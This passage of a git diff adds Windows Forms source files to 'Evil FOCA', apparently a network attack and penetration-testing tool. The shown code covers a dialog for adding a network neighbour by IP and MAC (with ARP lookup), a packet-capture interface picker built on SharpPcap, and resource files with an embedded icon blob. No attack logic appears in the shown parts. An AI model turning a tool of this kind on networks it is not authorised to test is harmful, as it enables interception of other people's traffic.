this.Controls.Add(this.btCancel); + this.Controls.Add(this.btOk); + this.Controls.Add(this.btMac); + this.Controls.Add(this.tbIP); + this.Controls.Add(this.label2); + this.Controls.Add(this.tbMAC); + this.Controls.Add(this.label1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; + this.Name = "FormAddNeighbor"; + this.ShowInTaskbar = false; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Load += new System.EventHandler(this.FormAddNeighbor_Load); + this.titulo.ResumeLayout(false); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox tbMAC; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox tbIP; + private System.Windows.Forms.Button btMac; + private System.Windows.Forms.Button btOk; + private System.Windows.Forms.Button btCancel; + private System.Windows.Forms.Panel titulo; + private System.Windows.Forms.Label label3; + } +} \ No newline at end of file diff --git a/EvilFoca/FormAddNeighbor.cs b/EvilFoca/FormAddNeighbor.cs new file mode 100644 index 0000000..c9fcd01 --- /dev/null +++ b/EvilFoca/FormAddNeighbor.cs @@ -0,0 +1,134 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Windows.Forms; +using System.Runtime.InteropServices; +using System.Net; +using System.Net.NetworkInformation; + +namespace evilfoca +{ + public partial class FormAddNeighbor : Form + { + public IPAddress ip; + public PhysicalAddress mac; + + public FormAddNeighbor() + { + ip = null; + mac = null; + + InitializeComponent(); + } + + + private void btMac_Click(object sender, EventArgs e) + { + try + { + IPAddress.Parse(tbIP.Text); // Fuerza una comprobación de una IP bien formada con el try catch + + tbMAC.Text = ""; + try + { + tbMAC.Text = Utils.GetMacUsingARP(tbIP.Text); + + tbMAC.BackColor = Color.White; + tbMAC.ForeColor = Color.Black; + tbIP.BackColor = Color.White; + tbIP.ForeColor = Color.Black; + } + catch + { + } + } + catch + { + FormMain.ShowMessage("Invalid IP Address", 1000, FormMessage.IconType.Error); + } + } + + private void btOk_Click(object sender, EventArgs e) + { + bool errorIP = false; + bool errorMAC = false; + + tbMAC.BackColor = Color.White; + tbMAC.ForeColor = Color.Black; + tbIP.BackColor = Color.White; + tbIP.ForeColor = Color.Black; + + try + { + this.ip = IPAddress.Parse(tbIP.Text); + } + catch + { + tbIP.BackColor = Color.Red; + tbIP.ForeColor = Color.White; + errorIP = true; + } + + try + { + this.mac = PhysicalAddress.Parse(tbMAC.Text.ToUpper().Replace(':', '-')); + } + catch + { + + tbMAC.BackColor = Color.Red; + tbMAC.ForeColor = Color.White; + errorMAC = true; + } + + + if ((errorMAC == false) && (errorIP == true)) + { + FormMain.ShowMessage("Invalid IP address.", 1000, FormMessage.IconType.Error); + } + else if ((errorMAC == true) && (errorIP == false)) + { + FormMain.ShowMessage("Invalid MAC address.", 1000, FormMessage.IconType.Error); + } + else if ((errorMAC == true) && (errorIP == true)) + { + FormMain.ShowMessage("Invalid IP and MAC address.", 1000, FormMessage.IconType.Error); + } + else if ((errorMAC == false) && (errorIP == false)) + this.Close(); + } + + private void btCancel_Click(object sender, EventArgs e) + { + this.mac = null; + this.ip = null; + + this.Close(); + } + + private void FormAddNeighbor_Load(object sender, EventArgs e) + { + } + } +} diff --git a/EvilFoca/FormAddNeighbor.resx b/EvilFoca/FormAddNeighbor.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/FormAddNeighbor.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/FormInterfaces.Designer.cs b/EvilFoca/FormInterfaces.Designer.cs new file mode 100644 index 0000000..16a8e49 --- /dev/null +++ b/EvilFoca/FormInterfaces.Designer.cs @@ -0,0 +1,148 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca +{ + partial class FormInterfaces + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormInterfaces)); + this.dgvInterfaces = new System.Windows.Forms.DataGridView(); + this.Interface = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.IPAddresses = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.btExit = new System.Windows.Forms.Button(); + this.btAccept = new System.Windows.Forms.Button(); + ((System.ComponentModel.ISupportInitialize)(this.dgvInterfaces)).BeginInit(); + this.SuspendLayout(); + // + // dgvInterfaces + // + this.dgvInterfaces.AllowUserToAddRows = false; + this.dgvInterfaces.AllowUserToDeleteRows = false; + this.dgvInterfaces.AllowUserToResizeRows = false; + this.dgvInterfaces.BackgroundColor = System.Drawing.SystemColors.Control; + this.dgvInterfaces.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.Single; + this.dgvInterfaces.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvInterfaces.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.Interface, + this.IPAddresses}); + this.dgvInterfaces.Location = new System.Drawing.Point(0, 0); + this.dgvInterfaces.MultiSelect = false; + this.dgvInterfaces.Name = "dgvInterfaces"; + this.dgvInterfaces.ReadOnly = true; + this.dgvInterfaces.RowHeadersVisible = false; + this.dgvInterfaces.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.dgvInterfaces.Size = new System.Drawing.Size(537, 194); + this.dgvInterfaces.TabIndex = 0; + // + // Interface + // + this.Interface.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.Interface.HeaderText = "Interface"; + this.Interface.Name = "Interface"; + this.Interface.ReadOnly = true; + this.Interface.Width = 250; + // + // IPAddresses + // + this.IPAddresses.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.IPAddresses.HeaderText = "IP Addresses"; + this.IPAddresses.Name = "IPAddresses"; + this.IPAddresses.ReadOnly = true; + // + // btExit + // + this.btExit.Image = global::evilfoca.Properties.Resources.Cancel; + this.btExit.Location = new System.Drawing.Point(277, 198); + this.btExit.Name = "btExit"; + this.btExit.Size = new System.Drawing.Size(107, 42); + this.btExit.TabIndex = 2; + this.btExit.Text = "&Exit"; + this.btExit.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btExit.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.btExit.UseVisualStyleBackColor = true; + this.btExit.Click += new System.EventHandler(this.btExit_Click); + // + // btAccept + // + this.btAccept.Image = global::evilfoca.Properties.Resources.Ok; + this.btAccept.Location = new System.Drawing.Point(152, 198); + this.btAccept.Name = "btAccept"; + this.btAccept.Size = new System.Drawing.Size(107, 42); + this.btAccept.TabIndex = 1; + this.btAccept.Text = "&Continue"; + this.btAccept.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btAccept.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.btAccept.UseVisualStyleBackColor = true; + this.btAccept.Click += new System.EventHandler(this.btAccept_Click); + // + // FormInterfaces + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(518, 249); + this.ControlBox = false; + this.Controls.Add(this.btExit); + this.Controls.Add(this.btAccept); + this.Controls.Add(this.dgvInterfaces); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.Name = "FormInterfaces"; + this.ShowIcon = false; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Select an interface"; + this.Load += new System.EventHandler(this.FormInterfaces_Load); + ((System.ComponentModel.ISupportInitialize)(this.dgvInterfaces)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.DataGridView dgvInterfaces; + private System.Windows.Forms.Button btAccept; + private System.Windows.Forms.Button btExit; + private System.Windows.Forms.DataGridViewTextBoxColumn Interface; + private System.Windows.Forms.DataGridViewTextBoxColumn IPAddresses; + } +} \ No newline at end of file diff --git a/EvilFoca/FormInterfaces.cs b/EvilFoca/FormInterfaces.cs new file mode 100644 index 0000000..b0b08f2 --- /dev/null +++ b/EvilFoca/FormInterfaces.cs @@ -0,0 +1,147 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Windows.Forms; +using SharpPcap; +using SharpPcap.WinPcap; +using SharpPcap.LibPcap; + +namespace evilfoca +{ + public partial class FormInterfaces : Form + { + public WinPcapDevice device; + private bool IsSplashSetting; + + public FormInterfaces(bool exitButton) + : this(exitButton, false) + { + } + + public FormInterfaces(bool exitButton, bool splashSetting) + { + InitializeComponent(); + this.IsSplashSetting = splashSetting; + if (exitButton) + { + btAccept.Text = "&Continue"; + btExit.Text = "&Exit"; + } + else + { + btAccept.Text = "&Accept"; + btExit.Text = "&Cancel"; + } + } + + private void FormInterfaces_Load(object sender, EventArgs e) + { + LoadInterfaces(); + LoadSettigsInterface(); + this.TopMost = true; + } + + private void LoadSettigsInterface() + { + int defaultInterface = Program.CurrentProject.data.settings.Interface; + + if (defaultInterface != -1) + { + if (defaultInterface + 1 <= dgvInterfaces.Rows.Count) + dgvInterfaces.Rows[defaultInterface].Selected = true; + } + } + + private void SaveSettingsInterface() + { + for (int i = 0; i < dgvInterfaces.Rows.Count; i++) + { + if (dgvInterfaces.Rows[i].Selected == true && i != Program.CurrentProject.data.settings.Interface) + { + if (IsSplashSetting) + { + Program.CurrentProject.data.settings.Interface = i; + Program.CurrentProject.data.settings.Save(); + } + else + { + if (MessageBox.Show("To apply new interface setting is necessary to restart application. Do you want to restart Evil Foca?", "Restart needed", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == System.Windows.Forms.DialogResult.Yes) + { + Program.CurrentProject.data.settings.Interface = i; + Program.CurrentProject.data.settings.Save(); + Application.Restart(); + } + } + return; + } + } + } + + private void LoadInterfaces() + { + CaptureDeviceList devices = CaptureDeviceList.Instance; + foreach (var dev in devices) + { + if (dev is WinPcapDevice && (dev as WinPcapDevice).Addresses.Count > 0) + { + try + { + string addresses = string.Empty; + //Primero mostramos las ipv4, despues las ipv6 + foreach (PcapAddress address in ((WinPcapDevice)dev).Addresses.Where(A => A.Addr.ipAddress != null && A.Addr.ipAddress.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)) + { + addresses += string.Format("[{0}] ", address.Addr.ipAddress.ToString()); + } + foreach (PcapAddress address in ((WinPcapDevice)dev).Addresses.Where(A => A.Addr.ipAddress != null && A.Addr.ipAddress.AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6)) + { + addresses += string.Format("[{0}] ", address.Addr.ipAddress.ToString()); + } + dgvInterfaces.Rows.Add(new object[] + { + ((WinPcapDevice)dev).Interface.FriendlyName, + addresses + }); + dgvInterfaces.Rows[dgvInterfaces.Rows.GetLastRow(DataGridViewElementStates.None)].Tag = dev; + } + catch { } + } + } + } + + private void btAccept_Click(object sender, EventArgs e) + { + this.DialogResult = System.Windows.Forms.DialogResult.OK; + this.device = (WinPcapDevice)dgvInterfaces.SelectedRows[0].Tag; + this.Close(); + SaveSettingsInterface(); + } + + private void btExit_Click(object sender, EventArgs e) + { + this.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.device = null; + this.Close(); + } + } +} diff --git a/EvilFoca/FormInterfaces.resx b/EvilFoca/FormInterfaces.resx new file mode 100644 index 0000000..d8f94f1 --- /dev/null +++ b/EvilFoca/FormInterfaces.resx @@ -0,0 +1,6866 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + + + AAABABQAMDACAAEAAQAwAwAARgEAACAgAgABAAEAMAEAAKYHAAAQEAIAAQABALAAAAAGCgAAMDAQAAEA + BABoBgAAZgsAACAgEAABAAQA6AIAADYYAAAYGBAAAQAEAOgBAAAGHgAAEBAQAAEABAAoAQAA1iEAADAw + AAABAAgAqA4AACYkAAAgIAAAAQAIAKgIAAB2QQAAGBgAAAEACADIBgAAxlIAABAQAAABAAgAaAUAAFZg + AACAgAAAAQAgACgIAQAmawAAYGAAAAEAIAColAAAdnsCAFBQAAABACAA6GcAAMakAwBISAAAAQAgAIhU + AACWdAQAQEAAAAEAIAAoQgAAph0FADAwAAABACAAqCUAAPahBQAgIAAAAQAgAKgQAABG7QUAGBgAAAEA + IACICQAAlg4GABAQAAABACAAaAQAAKYhBgAoAAAAMAAAAGAAAAABAAEAAAAAAIABAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVUAAAAAAABbbUAAAAAAAVVVsAA + AAAABVbbYAAAAAA22q24AAAAACqrdVYAAAAA1bWt7QAAAACu2ta7AAAAAXVXe26AAAACq22ttcAAAAO1 + ttbfQAAABV+7e/XgAAAO69bX32AAAAW3+7/r8AAADtv2776wAAAVtv9f9+gAAB7t/f9duAAAFb9/fv/w + AAAf67//7bgAABV97/t/+AAAH69//+3YAAAV+9ftv/gAAB9u////eAAAHf+/+/f4AAAX7v//f+gAAB+/ + /v/++AAAH/3/3+/wAAAN//v/v/AAAA/3////8AAAD9//+//gAAAH/9///6AAAAd/f7//4AAAA//////A + AAAB/////4AAAAH/////AAAAAP////0AAAAAf////gAAAAA////4AAAAAA///+AAAAAAB///wAAAAAAB + //8AAAAAAAA/9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////8AAP///////wAA//////// + AAD//8AD//8AAP/+AAB//wAA//gAAB//AAD/8AAAD/8AAP/AAAAD/wAA/4AAAAH/AAD/AAAAAP8AAP4A + AAAAfwAA/gAAAAB/AAD8AAAAAD8AAPgAAAAAHwAA+AAAAAAfAADwAAAAAA8AAPAAAAAADwAA8AAAAAAP + AADgAAAAAAcAAOAAAAAABwAA4AAAAAAHAADgAAAAAAcAAOAAAAAABwAA4AAAAAAHAADgAAAAAAcAAOAA + AAAABwAA4AAAAAAHAADgAAAAAAcAAOAAAAAABwAA4AAAAAAHAADwAAAAAA8AAPAAAAAADwAA8AAAAAAP + AAD4AAAAAB8AAPgAAAAAHwAA/AAAAAA/AAD+AAAAAH8AAP4AAAAAfwAA/wAAAAD/AAD/gAAAAf8AAP/A + AAAD/wAA//AAAA//AAD/+AAAH/8AAP/+AAB//wAA///AA///AAD///////8AAP///////wAA//////// + AAAoAAAAMAAAAGAAAAABAAEAAAAAAIABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAABVUAAAAAAABbbUAAAAAAAVVVsAAAAAABVbbYAAAAAA22q24AAAAACqrdVYA + AAAA1bWt7QAAAACu2ta7AAAAAXVXe26AAAACq22ttcAAAAO1ttbfQAAABV+7e/XgAAAO69bX32AAAAW3 + +7/r8AAADtv2776wAAAVtv9f9+gAAB7t/f9duAAAFb9/fv/wAAAf67//7bgAABV97/t/+AAAH69//+3Y + AAAV+9ftv/gAAB9u////eAAAHf+/+/f4AAAX7v//f+gAAB+//v/++AAAH/3/3+/wAAAN//v/v/AAAA/3 + ////8AAAD9//+//gAAAH/9///6AAAAd/f7//4AAAA//////AAAAB/////4AAAAH/////AAAAAP////0A + AAAAf////gAAAAA////4AAAAAA///+AAAAAAB///wAAAAAAB//8AAAAAAAA/9AAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAD///////8AAP///////wAA////////AAD//8AD//8AAP/+AAB//wAA//gAAB// + AAD/8AAAD/8AAP/AAAAD/wAA/4AAAAH/AAD/AAAAAP8AAP4AAAAAfwAA/gAAAAB/AAD8AAAAAD8AAPgA + AAAAHwAA+AAAAAAfAADwAAAAAA8AAPAAAAAADwAA8AAAAAAPAADgAAAAAAcAAOAAAAAABwAA4AAAAAAH + AADgAAAAAAcAAOAAAAAABwAA4AAAAAAHAADgAAAAAAcAAOAAAAAABwAA4AAAAAAHAADgAAAAAAcAAOAA + AAAABwAA4AAAAAAHAADwAAAAAA8AAPAAAAAADwAA8AAAAAAPAAD4AAAAAB8AAPgAAAAAHwAA/AAAAAA/ + AAD+AAAAAH8AAP4AAAAAfwAA/wAAAAD/AAD/gAAAAf8AAP/AAAAD/wAA//AAAA//AAD/+AAAH/8AAP/+ + AAB//wAA///AA///AAD///////8AAP///////wAA////////AAAoAAAAIAAAAEAAAAABAAEAAAAAAIAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAVUAAAVtwAAVVrAAFbVoAG1bvgCrbVQAtb + b7AN7b1wFrtv2Dt+/vgW/728O67/6C7/9vw7t/+8L//t9D2v//w////cN/77/B9///gf/9/4H/f/8A// + /7AP///gB///4AH//4AB//8AAH/8AAAP6AAAAAAAAAAAAP///////////+AH//+AAf/+AAD//AAAP/gA + AB/wAAAf8AAAD+AAAAfgAAAHwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA+AA + AAfgAAAH8AAAD/AAAB/4AAAf/AAAP/4AAP//gAH//+AH////////////KAAAACAAAABAAAAAAQABAAAA + AACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8AAAAAAAAAAAAAFVAAAFbcAAFVawABW1aABtW74Aq2 + 1UALW2+wDe29cBa7b9g7fv74Fv+9vDuu/+gu//b8O7f/vC//7fQ9r//8P///3Df++/wff//4H//f+B/3 + //AP//+wD///4Af//+AB//+AAf//AAB//AAAD+gAAAAAAAAAAAD////////////gB///gAH//gAA//wA + AD/4AAAf8AAAH/AAAA/gAAAH4AAAB8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AA + AAPgAAAH4AAAB/AAAA/wAAAf+AAAH/wAAD/+AAD//4AB///gB////////////ygAAAAQAAAAIAAAAAEA + AQAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////AAAAAAAFQAAAFbgAACrUAAAvfAAAXeoAAG9+ + AAB39gAAX94AAH/+AAB9/AAAP/wAAD/4AAAf+AAAB8AAAAAAAAD//wAA+B8AAOAHAADAAwAAwAMAAIAB + AACAAQAAgAEAAIABAACAAQAAgAEAAMADAADAAwAA4AcAAPgfAAD//wAAKAAAABAAAAAgAAAAAQABAAAA + AABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8AAAAAAAVAAAAVuAAAKtQAAC98AABd6gAAb34AAHf2 + AABf3gAAf/4AAH38AAA//AAAP/gAAB/4AAAHwAAAAAAAAP//AAD4HwAA4AcAAMADAADAAwAAgAEAAIAB + AACAAQAAgAEAAIABAACAAQAAwAMAAMADAADgBwAA+B8AAP//AAAoAAAAMAAAAGAAAAABAAQAAAAAAIAE + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/ + AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHERERERcQAAAAAAAAAAAAAA + AAAAAAAHERERERERERFwAAAAAAAAAAAAAAAAAAcRERERkRkZEZERcAAAAAAAAAAAAAAAABERGRGRERER + ERGREQAAAAAAAAAAAAAAcXGRERERGRGRkZEZGRcAAAAAAAAAAAAHEZERERkREREREREREZFwAAAAAAAA + AABxkRERkREZGRkZGRkZGRGXAAAAAAAAAAcRERGREZEREREREZEZEZEZcAAAAAAAAAGRGRERGRGRkZGR + kRkRkZGREAAAAAAAAHERERkZERERGRGRGRGRkRkZGQAAAAAAB5GRkRERGRkZEZEZGRkRkZGRkXAAAAAA + ARERGRkf8RkRkRkZEX+JGRkZGRAAAAAAeRkZEZH//xGRkZGRl4//GRkZGZcAAAAAEZERkRGP//eRGRkR + eP/4kZGRkZEAAAAAkRkZGRkf//gZGRGXj/+JGRkZkZEAAAAHGRGRGRkR///3kZGf//8ZGRmRkZlwAAAJ + GRkZGRGRmP/4kZf//4kZkZGZGZGQAAABkZGRkZGRkf//8Xj//5GRmZkZkZlwAAAJEZEZGRkZGR////// + iRmZGRkZGZGQAAAHmRmRkZGRkZH////4kZGRkZmZkZmQAAAJGRkZGRmRmRkf//+JmZkZmRkZGZGQAAAJ + GXkZGZGZGZGf///xkZGZeZl5mXmQAAAJeZkZkZGRkZf/////eXl5mXmZeZlwAAAJl5eXl5mZkZ//+P// + +ZmZeZl5mXmQAAAHmZmZeZeXl///iXj//3l5mXmZeZlwAAAJeXeXl5l5f///l5n///eXl5eXl5iQAAAH + l5l5eXl3//+HmXl///+Xl5eXl5dwAAAAl3mJeYl4//+XeYl5///3l5eXl5cAAAAAl5iXeXn//4eXmJeY + n///mJiYmJcAAAAAd3mJiYeP/5iYmJiYl//4eYmJiYkAAAAACYd3d5ifiJh3d3d3d5+Hd3d3d3AAAAAA + B3mJh3eJiYeYmJiYmHd5iYmJh5AAAAAAAJh4mHd4eHeHh4eHh3d4eHh4mAAAAAAAAAh3h3d3d3d3d3d3 + d3d3d3d4cAAAAAAAAAmHh4eHh4eHeHeHh4eHh4d3cAAAAAAAAACYeHh4d4d4eHh4d4eHh4eJAAAAAAAA + AAAHh4eHiHiHh4eHiHh4eHiQAAAAAAAAAAAAd4iIeIiIiIiIeIiIiHcAAAAAAAAAAAAAAHiIiIeIeIh4 + iIh4iQAAAAAAAAAAAAAAAAd4iIiIiIiIiIiHcAAAAAAAAAAAAAAAAAAHeIiIiIiIiImAAAAAAAAAAAAA + AAAAAAAAAJiYiIh3lwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////wAA////////AAD///////8AAP// + wAP//wAA//4AAH//AAD/+AAAH/8AAP/wAAAP/wAA/8AAAAP/AAD/gAAAAf8AAP8AAAAA/wAA/gAAAAB/ + AAD+AAAAAH8AAPwAAAAAPwAA+AAAAAAfAAD4AAAAAB8AAPAAAAAADwAA8AAAAAAPAADwAAAAAA8AAOAA + AAAABwAA4AAAAAAHAADgAAAAAAcAAOAAAAAABwAA4AAAAAAHAADgAAAAAAcAAOAAAAAABwAA4AAAAAAH + AADgAAAAAAcAAOAAAAAABwAA4AAAAAAHAADgAAAAAAcAAPAAAAAADwAA8AAAAAAPAADwAAAAAA8AAPgA + AAAAHwAA+AAAAAAfAAD8AAAAAD8AAP4AAAAAfwAA/gAAAAB/AAD/AAAAAP8AAP+AAAAB/wAA/8AAAAP/ + AAD/8AAAD/8AAP/4AAAf/wAA//4AAH//AAD//8AD//8AAP///////wAA////////AAD///////8AACgA + AAAwAAAAYAAAAAEABAAAAAAAgAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAA + gACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAcRERERFxAAAAAAAAAAAAAAAAAAAAAAcREREREREREXAAAAAAAAAAAAAAAAAABxERERGRGRkRkRFw + AAAAAAAAAAAAAAAAEREZEZEREREREZERAAAAAAAAAAAAAABxcZEREREZEZGRkRkZFwAAAAAAAAAAAAcR + kRERGRERERERERERkXAAAAAAAAAAAHGRERGRERkZGRkZGRkZEZcAAAAAAAAABxEREZERkRERERERkRkR + kRlwAAAAAAAAAZEZEREZEZGRkZGRGRGRkZEQAAAAAAAAcRERGRkREREZEZEZEZGRGRkZAAAAAAAHkZGR + EREZGRkRkRkZGRGRkZGRcAAAAAABEREZGR/xGRGRGRkRf4kZGRkZEAAAAAB5GRkRkf//EZGRkZGXj/8Z + GRkZlwAAAAARkRGREY//95EZGRF4//iRkZGRkQAAAACRGRkZGR//+BkZEZeP/4kZGRmRkQAAAAcZEZEZ + GRH///eRkZ///xkZGZGRmXAAAAkZGRkZEZGY//iRl///iRmRkZkZkZAAAAGRkZGRkZGR///xeP//kZGZ + mRmRmXAAAAkRkRkZGRkZH/////+JGZkZGRkZkZAAAAeZGZGRkZGRkf////iRkZGRmZmRmZAAAAkZGRkZ + GZGZGR///4mZmRmZGRkZkZAAAAkZeRkZkZkZkZ////GRkZl5mXmZeZAAAAl5mRmRkZGRl/////95eXmZ + eZl5mXAAAAmXl5eXmZmRn//4///5mZl5mXmZeZAAAAeZmZl5l5eX//+JeP//eXmZeZl5mXAAAAl5d5eX + mXl///+Xmf//95eXl5eXmJAAAAeXmXl5eXf//4eZeX///5eXl5eXl3AAAACXeYl5iXj//5d5iXn///eX + l5eXlwAAAACXmJd5ef//h5eYl5if//+YmJiYlwAAAAB3eYmJh4//mJiYmJiX//h5iYmJiQAAAAAJh3d3 + mJ+ImHd3d3d3n4d3d3d3cAAAAAAHeYmHd4mJh5iYmJiYd3mJiYmHkAAAAAAAmHiYd3h4d4eHh4eHd3h4 + eHiYAAAAAAAACHeHd3d3d3d3d3d3d3d3d3hwAAAAAAAACYeHh4eHh4d4d4eHh4eHh3dwAAAAAAAAAJh4 + eHh3h3h4eHh3h4eHh4kAAAAAAAAAAAeHh4eIeIeHh4eIeHh4eJAAAAAAAAAAAAB3iIh4iIiIiIh4iIiI + dwAAAAAAAAAAAAAAeIiIh4h4iHiIiHiJAAAAAAAAAAAAAAAAB3iIiIiIiIiIiIdwAAAAAAAAAAAAAAAA + AAd4iIiIiIiIiYAAAAAAAAAAAAAAAAAAAAAAmJiIiHeXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////// + AAD///////8AAP///////wAA///AA///AAD//gAAf/8AAP/4AAAf/wAA//AAAA//AAD/wAAAA/8AAP+A + AAAB/wAA/wAAAAD/AAD+AAAAAH8AAP4AAAAAfwAA/AAAAAA/AAD4AAAAAB8AAPgAAAAAHwAA8AAAAAAP + AADwAAAAAA8AAPAAAAAADwAA4AAAAAAHAADgAAAAAAcAAOAAAAAABwAA4AAAAAAHAADgAAAAAAcAAOAA + AAAABwAA4AAAAAAHAADgAAAAAAcAAOAAAAAABwAA4AAAAAAHAADgAAAAAAcAAOAAAAAABwAA8AAAAAAP + AADwAAAAAA8AAPAAAAAADwAA+AAAAAAfAAD4AAAAAB8AAPwAAAAAPwAA/gAAAAB/AAD+AAAAAH8AAP8A + AAAA/wAA/4AAAAH/AAD/wAAAA/8AAP/wAAAP/wAA//gAAB//AAD//gAAf/8AAP//wAP//wAA//////// + AAD///////8AAP///////wAAKAAAACAAAABAAAAAAQAEAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP// + 